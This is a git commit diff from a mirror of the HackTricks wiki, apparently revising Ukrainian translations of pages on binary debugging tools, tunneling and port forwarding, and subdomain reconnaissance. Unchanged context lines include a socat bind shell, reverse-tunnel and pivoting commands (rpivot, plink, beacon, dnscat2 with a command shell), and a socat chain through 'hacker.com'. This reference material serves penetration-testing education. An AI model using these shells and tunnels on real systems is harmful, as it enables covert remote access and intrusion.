mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met
This commit is contained in:
parent
7bfa164746
commit
1359279ff0
@ -74,7 +74,7 @@ x/i $eip # Instructions of the EIP
|
||||
```
|
||||
### [GEF](https://github.com/hugsy/gef)
|
||||
|
||||
Ви можете за бажанням використовувати [**цей форк GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef), який містить більш цікаві інструкції.
|
||||
Ви можете за бажанням використовувати [**цей форк GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef), який містить більше цікавих інструкцій.
|
||||
```bash
|
||||
help memory # Get help on memory command
|
||||
canary # Search for canary value in memory
|
||||
@ -125,7 +125,7 @@ gef➤ pattern search 0x6261617762616176
|
||||
|
||||
- `unset env LINES`
|
||||
- `unset env COLUMNS`
|
||||
- `set env _=<path>` _Введіть абсолютний шлях до бінарного файлу_
|
||||
- `set env _=<path>` _Вкажіть абсолютний шлях до бінарного файлу_
|
||||
- Використовуйте бінарний файл, використовуючи той же абсолютний шлях
|
||||
- `PWD` і `OLDPWD` повинні бути однаковими під час використання GDB і під час експлуатації бінарного файлу
|
||||
|
||||
@ -151,7 +151,7 @@ gef➤ bt
|
||||
|
||||
**Ghidra** дуже корисна для знаходження **зсуву** для **переповнення буфера завдяки інформації про позицію локальних змінних.**\
|
||||
Наприклад, у наведеному нижче прикладі переповнення буфера в `local_bc` вказує на те, що потрібен зсув `0xbc`. Більше того, якщо `local_10` є канарейковим печивом, це вказує на те, що для перезапису його з `local_bc` потрібен зсув `0xac`.\
|
||||
&#xNAN;_Remember, що перші 0x08, з яких зберігається RIP, належать до RBP._
|
||||
_Rемember, що перші 0x08, з яких зберігається RIP, належать до RBP._
|
||||
|
||||
.png>)
|
||||
|
||||
@ -164,8 +164,8 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
|
||||
## GCC
|
||||
|
||||
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Компілювати без захистів\
|
||||
&#xNAN;**-o** --> Вихід\
|
||||
&#xNAN;**-g** --> Зберегти код (GDB зможе його бачити)\
|
||||
**-o** --> Вихід\
|
||||
**-g** --> Зберегти код (GDB зможе його бачити)\
|
||||
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Деактивувати ASLR у linux
|
||||
|
||||
**Щоб скомпілювати shellcode:**\
|
||||
@ -175,14 +175,14 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
|
||||
## Objdump
|
||||
|
||||
**-d** --> **Дизасемблювати виконувані** секції (дивитися опкоди скомпільованого shellcode, знаходити ROP Gadgets, знаходити адресу функції...)\
|
||||
&#xNAN;**-Mintel** --> **Intel** синтаксис\
|
||||
&#xNAN;**-t** --> **Таблиця** символів\
|
||||
&#xNAN;**-D** --> **Дизасемблювати все** (адреса статичної змінної)\
|
||||
&#xNAN;**-s -j .dtors** --> секція dtors\
|
||||
&#xNAN;**-s -j .got** --> секція got\
|
||||
**-Mintel** --> **Intel** синтаксис\
|
||||
**-t** --> **Таблиця** символів\
|
||||
**-D** --> **Дизасемблювати все** (адреса статичної змінної)\
|
||||
**-s -j .dtors** --> секція dtors\
|
||||
**-s -j .got** --> секція got\
|
||||
-D -s -j .plt --> **plt** секція **дизасембльована**\
|
||||
&#xNAN;**-TR** --> **Релокації**\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> Адреса "puts" для модифікації в GOT\
|
||||
**-TR** --> **Релокації**\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> Адреса "puts", щоб змінити в GOT\
|
||||
**objdump -D ./exec | grep "VAR_NAME"** --> Адреса або статичної змінної (вони зберігаються в секції DATA).
|
||||
|
||||
## Ядерні дампи
|
||||
@ -210,7 +210,7 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
|
||||
|
||||
### Налагодження в віддаленому linux
|
||||
|
||||
Всередині папки IDA ви можете знайти бінарні файли, які можна використовувати для налагодження бінарного файлу в linux. Для цього перемістіть бінарний файл `linux_server` або `linux_server64` на linux сервер і запустіть його в папці, що містить бінарний файл:
|
||||
Всередині папки IDA ви можете знайти бінарні файли, які можна використовувати для налагодження бінарного файлу в linux. Для цього перемістіть бінарний файл `linux_server` або `linux_server64` на сервер linux і запустіть його в папці, що містить бінарний файл:
|
||||
```
|
||||
./linux_server64 -Ppass
|
||||
```
|
||||
|
||||
@ -1,15 +1,15 @@
|
||||
# Тунелювання та Портове Переспрямування
|
||||
# Tunneling and Port Forwarding
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Порада Nmap
|
||||
## Nmap tip
|
||||
|
||||
> [!WARNING]
|
||||
> **ICMP** та **SYN** сканування не можуть бути тунельовані через проксі socks, тому ми повинні **вимкнути виявлення ping** (`-Pn`) і вказати **TCP сканування** (`-sT`), щоб це працювало.
|
||||
> **ICMP** та **SYN** сканування не можуть бути тунельовані через socks проксі, тому ми повинні **вимкнути пінг-дослідження** (`-Pn`) і вказати **TCP сканування** (`-sT`), щоб це працювало.
|
||||
|
||||
## **Bash**
|
||||
|
||||
**Хост -> Стрибок -> ВнутрішнійA -> ВнутрішнійB**
|
||||
**Host -> Jump -> InternalA -> InternalB**
|
||||
```bash
|
||||
# On the jump server connect the port 3333 to the 5985
|
||||
mknod backpipe p;
|
||||
@ -55,7 +55,7 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
|
||||
```bash
|
||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||||
```
|
||||
### Зворотне Портове Перенаправлення
|
||||
### Зворотне перенаправлення портів
|
||||
|
||||
Це корисно для отримання зворотних шелів з внутрішніх хостів через DMZ до вашого хоста:
|
||||
```bash
|
||||
@ -104,7 +104,7 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
|
||||
|
||||
### Port2Port
|
||||
|
||||
Локальний порт --> Скомпрометований хост (активна сесія) --> Третій_бокс:Порт
|
||||
Локальний порт --> Скомпрометований хост (активна сесія) --> Третій_комп'ютер:Порт
|
||||
```bash
|
||||
# Inside a meterpreter session
|
||||
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
|
||||
@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
|
||||
### SOCKS proxy
|
||||
|
||||
Відкрийте порт на сервері команди, який слухає на всіх інтерфейсах, що може бути використаний для **маршрутизації трафіку через маяк**.
|
||||
Відкрийте порт на teamserver, який слухає на всіх інтерфейсах, що може бути використаний для **маршрутизації трафіку через beacon**.
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
@ -152,9 +152,9 @@ rportfwd stop [bind port]
|
||||
```
|
||||
Зверніть увагу:
|
||||
|
||||
- Зворотний портовий переадресатор Beacon призначений для **тунелювання трафіку до Team Server, а не для пересилання між окремими машинами**.
|
||||
- Зворотне перенаправлення портів Beacon призначене для **тунелювання трафіку до Team Server, а не для пересилання між окремими машинами**.
|
||||
- Трафік **тунелюється в межах C2 трафіку Beacon**, включаючи P2P посилання.
|
||||
- **Привілеї адміністратора не потрібні** для створення зворотних портових переадресаторів на високих портах.
|
||||
- **Привілеї адміністратора не потрібні** для створення зворотних перенаправлень портів на високих портах.
|
||||
|
||||
### rPort2Port local
|
||||
|
||||
@ -237,7 +237,7 @@ interface_add_route --name "ligolo" --route 240.0.0.1/32
|
||||
|
||||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||||
|
||||
Зворотний тунель. Тунель починається від жертви.\
|
||||
Зворотний тунель. Тунель запускається з жертви.\
|
||||
Створюється socks4 проксі на 127.0.0.1:1080
|
||||
```bash
|
||||
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
||||
@ -258,7 +258,7 @@ victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntl
|
||||
|
||||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||||
|
||||
### Прив'язати оболонку
|
||||
### Прив'язка оболонки
|
||||
```bash
|
||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
|
||||
@ -290,9 +290,11 @@ victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
|
||||
|
||||
### SSL Socat Tunnel
|
||||
|
||||
**/bin/sh console**
|
||||
**/bin/sh консоль**
|
||||
|
||||
Створіть сертифікати з обох сторін: Клієнт і Сервер
|
||||
```bash
|
||||
@ -318,9 +320,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
||||
```
|
||||
## Plink.exe
|
||||
|
||||
Це як консольна версія PuTTY (опції дуже схожі на ssh-клієнт).
|
||||
Це як консольна версія PuTTY (опції дуже схожі на клієнт ssh).
|
||||
|
||||
Оскільки цей бінар буде виконуватись на жертві і є ssh-клієнтом, нам потрібно відкрити наш ssh-сервіс і порт, щоб ми могли отримати зворотне з'єднання. Потім, щоб перенаправити лише локально доступний порт на порт у нашій машині:
|
||||
Оскільки цей бінар буде виконуватись на жертві і є клієнтом ssh, нам потрібно відкрити наш сервіс ssh і порт, щоб ми могли отримати зворотне з'єднання. Потім, щоб перенаправити лише локально доступний порт на порт у нашій машині:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
@ -358,7 +360,7 @@ C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
Тепер підтвердіть на вашій машині (атакуючій), що порт 1080 слухає:
|
||||
Тепер підтвердіть на вашій машині (атакуючого), що порт 1080 слухає:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
@ -366,11 +368,11 @@ netstat -antb | findstr 1080
|
||||
|
||||
## Проксування Windows GUI додатків
|
||||
|
||||
Ви можете налаштувати Windows GUI додатки на використання проксі за допомогою [**Proxifier**](https://www.proxifier.com/).\
|
||||
У **Профіль -> Проксі-сервери** додайте IP-адресу та порт SOCKS-сервера.\
|
||||
У **Профіль -> Правила проксування** додайте назву програми для проксування та з'єднання з IP-адресами, які ви хочете проксувати.
|
||||
Ви можете налаштувати Windows GUI додатки для роботи через проксі, використовуючи [**Proxifier**](https://www.proxifier.com/).\
|
||||
У **Профіль -> Проксі-сервери** додайте IP-адресу та порт SOCKS сервера.\
|
||||
У **Профіль -> Правила проксування** додайте назву програми, яку потрібно проксувати, та з'єднання з IP-адресами, які ви хочете проксувати.
|
||||
|
||||
## Обхід NTLM проксі
|
||||
## Обхід проксі NTLM
|
||||
|
||||
Раніше згадуваний інструмент: **Rpivot**\
|
||||
**OpenVPN** також може обійти це, встановивши ці параметри у файлі конфігурації:
|
||||
@ -381,7 +383,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Він аутентифікується проти проксі-сервера та прив'язує порт локально, який перенаправляється на зовнішній сервіс, який ви вказуєте. Потім ви можете використовувати інструмент на ваш вибір через цей порт.\
|
||||
Він аутентифікується через проксі та прив'язує порт локально, який перенаправляється на зовнішній сервіс, який ви вказуєте. Потім ви можете використовувати інструмент на ваш вибір через цей порт.\
|
||||
Наприклад, перенаправити порт 443
|
||||
```
|
||||
Username Alice
|
||||
@ -428,7 +430,7 @@ victim> ./dnscat2 --dns host=10.10.10.10,port=5353
|
||||
```
|
||||
#### **У PowerShell**
|
||||
|
||||
Ви можете використовувати [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) для запуску клієнта dnscat2 у powershell:
|
||||
Ви можете використовувати [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) для запуску клієнта dnscat2 у PowerShell:
|
||||
```
|
||||
Import-Module .\dnscat2.ps1
|
||||
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
||||
@ -440,7 +442,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
||||
```
|
||||
#### Зміна DNS у proxychains
|
||||
|
||||
Proxychains перехоплює виклик `gethostbyname` libc і тунелює tcp DNS запит через socks проксі. За **замовчуванням** DNS сервер, який використовує proxychains, є **4.2.2.2** (жорстко закодований). Щоб змінити його, відредагуйте файл: _/usr/lib/proxychains3/proxyresolv_ і змініть IP. Якщо ви в **Windows середовищі**, ви можете встановити IP **контролера домену**.
|
||||
Proxychains перехоплює виклик `gethostbyname` libc і тунелює tcp DNS запит через socks проксі. За **замовчуванням** DNS сервер, який використовує proxychains, це **4.2.2.2** (жорстко закодований). Щоб змінити його, відредагуйте файл: _/usr/lib/proxychains3/proxyresolv_ і змініть IP. Якщо ви в **середовищі Windows**, ви можете встановити IP **контролера домену**.
|
||||
|
||||
## Тунелі в Go
|
||||
|
||||
@ -478,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
|
||||
## ngrok
|
||||
|
||||
[**ngrok**](https://ngrok.com/) **є інструментом для експонування рішень в Інтернеті в один рядок команди.**\
|
||||
&#xNAN;_Exposition URI виглядають так:_ **UID.ngrok.io**
|
||||
_Exposition URI виглядають так:_ **UID.ngrok.io**
|
||||
|
||||
### Встановлення
|
||||
|
||||
|
||||
@ -17,7 +17,7 @@
|
||||
|
||||
По-перше, нам потрібно знати, які **інші компанії належать головній компанії**.\
|
||||
Один з варіантів - відвідати [https://www.crunchbase.com/](https://www.crunchbase.com), **пошукати** **головну компанію** і **натиснути** на "**придбання**". Там ви побачите інші компанії, придбані головною.\
|
||||
Інший варіант - відвідати сторінку **Вікіпедії** головної компанії та пошукати **придбання**.
|
||||
Інший варіант - відвідати сторінку **Вікіпедії** головної компанії і пошукати **придбання**.
|
||||
|
||||
> Добре, на цьому етапі ви повинні знати всі компанії в межах обсягу. Давайте з'ясуємо, як знайти їх активи.
|
||||
|
||||
@ -26,7 +26,7 @@
|
||||
Номер автономної системи (**ASN**) - це **унікальний номер**, призначений **автономній системі** (AS) **Управлінням призначених номерів Інтернету (IANA)**.\
|
||||
**AS** складається з **блоків** **IP-адрес**, які мають чітко визначену політику доступу до зовнішніх мереж і адмініструються однією організацією, але можуть складатися з кількох операторів.
|
||||
|
||||
Цікаво дізнатися, чи **компанія призначила будь-який ASN**, щоб знайти її **діапазони IP.** Було б цікаво провести **тест на вразливість** проти всіх **хостів** в межах **обсягу** та **шукати домени** в цих IP.\
|
||||
Цікаво дізнатися, чи **компанія призначила будь-який ASN**, щоб знайти її **діапазони IP.** Було б цікаво провести **тест на вразливість** проти всіх **хостів** в межах **обсягу** і **шукати домени** в цих IP.\
|
||||
Ви можете **шукати** за назвою компанії, за **IP** або за **доменом** на [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**Залежно від регіону компанії, ці посилання можуть бути корисними для збору додаткових даних:** [**AFRINIC**](https://www.afrinic.net) **(Африка),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Північна Америка),** [**APNIC**](https://www.apnic.net) **(Азія),** [**LACNIC**](https://www.lacnic.net) **(Латинська Америка),** [**RIPE NCC**](https://www.ripe.net) **(Європа). В будь-якому випадку, ймовірно, вся** корисна інформація **(діапазони IP та Whois)** вже з'являється за першим посиланням.
|
||||
```bash
|
||||
@ -100,7 +100,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
|
||||
### **Трекери**
|
||||
|
||||
Якщо ви знайдете **той самий ID того самого трекера** на 2 різних сторінках, ви можете припустити, що **обидві сторінки** управляються **однією командою**.\
|
||||
Якщо ви знайдете **той самий ID того ж трекера** на 2 різних сторінках, ви можете припустити, що **обидві сторінки** управляються **однією командою**.\
|
||||
Наприклад, якщо ви бачите той самий **ID Google Analytics** або той самий **ID Adsense** на кількох сторінках.
|
||||
|
||||
Є кілька сторінок і інструментів, які дозволяють вам шукати за цими трекерами та іншими:
|
||||
@ -141,7 +141,7 @@ return fhash
|
||||
```
|
||||
### **Авторське право / Унікальний рядок**
|
||||
|
||||
Шукайте на веб-сторінках **рядки, які можуть бути спільними для різних веб-сайтів в одній організації**. **Рядок авторського права** може бути хорошим прикладом. Потім шукайте цей рядок у **google**, в інших **браузерах** або навіть у **shodan**: `shodan search http.html:"Copyright string"`
|
||||
Шукайте на веб-сторінках **рядки, які можуть бути спільними для різних веб-сайтів в одній організації**. **Авторський рядок** може бути хорошим прикладом. Потім шукайте цей рядок у **google**, в інших **браузерах** або навіть у **shodan**: `shodan search http.html:"Copyright string"`
|
||||
|
||||
### **Час CRT**
|
||||
|
||||
@ -161,7 +161,7 @@ return fhash
|
||||
|
||||
Очевидно, що поширеною практикою є призначення піддоменів IP-адресам, які належать постачальникам хмарних послуг, і в якийсь момент **втратити цю IP-адресу, але забути видалити DNS-запис**. Тому, просто **створивши віртуальну машину** у хмарі (такій як Digital Ocean), ви фактично **захоплюєте деякі піддомени**.
|
||||
|
||||
[**Цей пост**](https://kmsec.uk/blog/passive-takeover/) пояснює історію про це і пропонує скрипт, який **створює віртуальну машину в DigitalOcean**, **отримує** **IPv4** нової машини і **шукає в Virustotal записи піддоменів**, що вказують на неї.
|
||||
[**Ця публікація**](https://kmsec.uk/blog/passive-takeover/) пояснює історію про це і пропонує скрипт, який **створює віртуальну машину в DigitalOcean**, **отримує** **IPv4** нової машини і **шукає в Virustotal записи піддоменів**, що вказують на неї.
|
||||
|
||||
### **Інші способи**
|
||||
|
||||
@ -182,7 +182,7 @@ return fhash
|
||||
Перевірте наявність [захоплення домену](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Можливо, якась компанія **використовує якийсь домен**, але **втратила право власності**. Просто зареєструйте його (якщо достатньо дешевий) і дайте знати компанії.
|
||||
|
||||
Якщо ви знайдете будь-який **домен з IP, відмінним** від тих, які ви вже знайшли під час виявлення активів, вам слід виконати **базове сканування вразливостей** (використовуючи Nessus або OpenVAS) і деяке [**сканування портів**](../pentesting-network/index.html#discovering-hosts-from-the-outside) з **nmap/masscan/shodan**. Залежно від того, які сервіси працюють, ви можете знайти в **цьому посібнику деякі хитрощі для "атаки" на них**.\
|
||||
&#xNAN;_Note, що іноді домен розміщений на IP, який не контролюється клієнтом, тому він не входить до сфери дії, будьте обережні._
|
||||
_Зверніть увагу, що іноді домен розміщується на IP, який не контролюється клієнтом, тому він не входить до сфери дії, будьте обережні._
|
||||
|
||||
## Піддомени
|
||||
|
||||
@ -191,7 +191,7 @@ return fhash
|
||||
Час знайти всі можливі піддомени кожного знайденого домену.
|
||||
|
||||
> [!TIP]
|
||||
> Зверніть увагу, що деякі інструменти та техніки для пошуку доменів також можуть допомогти знайти піддомени.
|
||||
> Зверніть увагу, що деякі інструменти та техніки для знаходження доменів також можуть допомогти знайти піддомени.
|
||||
|
||||
### **DNS**
|
||||
|
||||
@ -282,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
||||
}
|
||||
crt tesla.com
|
||||
```
|
||||
- [**gau**](https://github.com/lc/gau)**:** отримує відомі URL з Open Threat Exchange AlienVault, Wayback Machine та Common Crawl для будь-якого заданого домену.
|
||||
- [**gau**](https://github.com/lc/gau)**:** отримує відомі URL з Open Threat Exchange AlienVault, Wayback Machine та Common Crawl для будь-якого домену.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
@ -315,7 +315,7 @@ python3 DomainTrail.py -d example.com
|
||||
- [**securitytrails.com**](https://securitytrails.com/) має безкоштовний API для пошуку піддоменів та історії IP
|
||||
- [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
Цей проект пропонує **безкоштовно всі піддомени, пов'язані з програмами bug-bounty**. Ви також можете отримати доступ до цих даних, використовуючи [chaospy](https://github.com/dr-0x0x/chaospy) або навіть отримати доступ до обсягу, використаного цим проектом [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
Цей проект пропонує **безкоштовно всі піддомени, пов'язані з програмами bug-bounty**. Ви також можете отримати доступ до цих даних, використовуючи [chaospy](https://github.com/dr-0x0x/chaospy) або навіть отримати доступ до сфери, що використовується цим проектом [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
Ви можете знайти **порівняння** багатьох з цих інструментів тут: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
@ -345,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) є обгорткою навколо `massdns`, написаною на go, яка дозволяє вам перераховувати дійсні піддомени, використовуючи активний брутфорс, а також вирішувати піддомени з обробкою підстановок і простим підтримкою вводу-виводу.
|
||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) є обгорткою навколо `massdns`, написаною на go, яка дозволяє вам перераховувати дійсні піддомени, використовуючи активний брутфорс, а також вирішувати піддомени з обробкою підстановочних знаків та простим підтримкою вводу-виводу.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
@ -365,7 +365,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
- [**goaltdns**](https://github.com/subfinder/goaltdns): Задані домени та піддомени генерують перестановки.
|
||||
- [**goaltdns**](https://github.com/subfinder/goaltdns): Дано домени та піддомени, генеруйте перестановки.
|
||||
- Ви можете отримати перестановки goaltdns **wordlist** [**тут**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
@ -389,13 +389,13 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
|
||||
#### Генерація розумних перестановок
|
||||
|
||||
- [**regulator**](https://github.com/cramppet/regulator): Для отримання додаткової інформації прочитайте цей [**пост**](https://cramppet.github.io/regulator/index.html), але в основному він отримає **основні частини** з **виявлених піддоменів** і змішає їх, щоб знайти більше піддоменів.
|
||||
- [**regulator**](https://github.com/cramppet/regulator): Для отримання додаткової інформації прочитайте цей [**пост**](https://cramppet.github.io/regulator/index.html), але він в основному отримає **основні частини** з **виявлених піддоменів** і змішає їх, щоб знайти більше піддоменів.
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ є фуззером для брутфорсу піддоменів, поєднаним з надзвичайно простим, але ефективним алгоритмом, що керується відповідями DNS. Він використовує наданий набір вхідних даних, таких як спеціально підібраний список слів або історичні записи DNS/TLS, щоб точно синтезувати більше відповідних доменних імен і розширювати їх ще більше в циклі на основі інформації, зібраної під час сканування DNS.
|
||||
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ є фуззером для брутфорсу піддоменів, поєднаним з надзвичайно простим, але ефективним алгоритмом, що керується відповідями DNS. Він використовує наданий набір вхідних даних, таких як спеціально підібраний список слів або історичні записи DNS/TLS, щоб точно синтезувати більше відповідних доменних імен і розширювати їх ще далі в циклі на основі інформації, зібраної під час сканування DNS.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
@ -413,11 +413,11 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
|
||||
|
||||
### **VHosts / Віртуальні хости**
|
||||
|
||||
Якщо ви знайшли IP-адресу, що містить **одну або кілька веб-сторінок**, що належать піддоменам, ви можете спробувати **знайти інші піддомени з веб-сайтами на цій IP**-адресі, шукаючи в **OSINT джерелах** домени на IP або **брутфорсити доменні імена VHost на цій IP**.
|
||||
Якщо ви знайшли IP-адресу, що містить **одну або кілька веб-сторінок**, що належать піддоменам, ви можете спробувати **знайти інші піддомени з веб-сайтами на цій IP-адресі**, шукаючи в **OSINT джерелах** домени на IP або **брутфорсити доменні імена VHost на цій IP-адресі**.
|
||||
|
||||
#### OSINT
|
||||
|
||||
Ви можете знайти деякі **VHosts на IP, використовуючи** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **або інші API**.
|
||||
Ви можете знайти деякі **VHosts на IP-адресах, використовуючи** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **або інші API**.
|
||||
|
||||
**Брутфорс**
|
||||
|
||||
@ -444,22 +444,22 @@ VHostScan -t example.com
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
### **Брутфорс Бакетів**
|
||||
### **Brute Force для Buckets**
|
||||
|
||||
Під час пошуку **субдоменів** звертайте увагу, чи вказують вони на будь-який тип **бакету**, і в такому випадку [**перевірте дозволи**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
|
||||
Також, оскільки на цьому етапі ви будете знати всі домени в межах обсягу, спробуйте [**брутфорсити можливі імена бакетів і перевірити дозволи**](../../network-services-pentesting/pentesting-web/buckets/index.html).
|
||||
Під час пошуку **субдоменів** звертайте увагу, чи вказують вони на будь-який тип **bucket**, і в такому випадку [**перевірте дозволи**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
|
||||
Також, оскільки на цьому етапі ви будете знати всі домени в межах обсягу, спробуйте [**зламати можливі імена bucket і перевірити дозволи**](../../network-services-pentesting/pentesting-web/buckets/index.html).
|
||||
|
||||
### **Моніторинг**
|
||||
|
||||
Ви можете **моніторити**, якщо **нові субдомени** домену створюються, моніторячи **Журнали Прозорості Сертифікатів**, що робить [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
Ви можете **моніторити**, якщо **нові субдомени** домену створюються, моніторячи **Журнали прозорості сертифікатів** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
|
||||
### **Пошук вразливостей**
|
||||
|
||||
Перевірте на можливі [**взяття субдоменів під контроль**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Якщо **субдомен** вказує на якийсь **S3 бакет**, [**перевірте дозволи**](../../network-services-pentesting/pentesting-web/buckets/index.html).
|
||||
Перевірте на можливі [**взяття субдоменів**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Якщо **субдомен** вказує на якийсь **S3 bucket**, [**перевірте дозволи**](../../network-services-pentesting/pentesting-web/buckets/index.html).
|
||||
|
||||
Якщо ви знайдете будь-який **субдомен з IP, відмінним** від тих, що ви вже знайшли під час виявлення активів, вам слід виконати **базове сканування вразливостей** (використовуючи Nessus або OpenVAS) і деяке [**сканування портів**](../pentesting-network/index.html#discovering-hosts-from-the-outside) з **nmap/masscan/shodan**. Залежно від того, які сервіси працюють, ви можете знайти в **цьому посібнику деякі трюки для "атаки" на них**.\
|
||||
&#xNAN;_Note, що іноді субдомен розміщений на IP, який не контролюється клієнтом, тому він не входить в обсяг, будьте обережні._
|
||||
_Зверніть увагу, що іноді субдомен розміщений на IP, який не контролюється клієнтом, тому він не входить в обсяг, будьте обережні._
|
||||
|
||||
## IP-адреси
|
||||
|
||||
@ -484,7 +484,7 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
||||
|
||||
На попередніх етапах ви, ймовірно, вже виконали деяке **розвідку виявлених IP та доменів**, тому ви могли **вже знайти всі можливі веб-сервери**. Однак, якщо ви цього не зробили, ми зараз розглянемо деякі **швидкі трюки для пошуку веб-серверів** в межах обсягу.
|
||||
|
||||
Зверніть увагу, що це буде **орієнтовано на виявлення веб-додатків**, тому вам слід **виконати сканування вразливостей** та **сканування портів** також (**якщо дозволено** обсягом).
|
||||
Зверніть увагу, що це буде **орієнтовано на виявлення веб-додатків**, тому вам слід **виконати сканування вразливостей** та **сканування портів** також (**якщо це дозволено** обсягом).
|
||||
|
||||
**Швидкий метод** для виявлення **відкритих портів**, пов'язаних з **веб** серверами, використовуючи [**masscan** можна знайти тут](../pentesting-network/index.html#http-port-discovery).\
|
||||
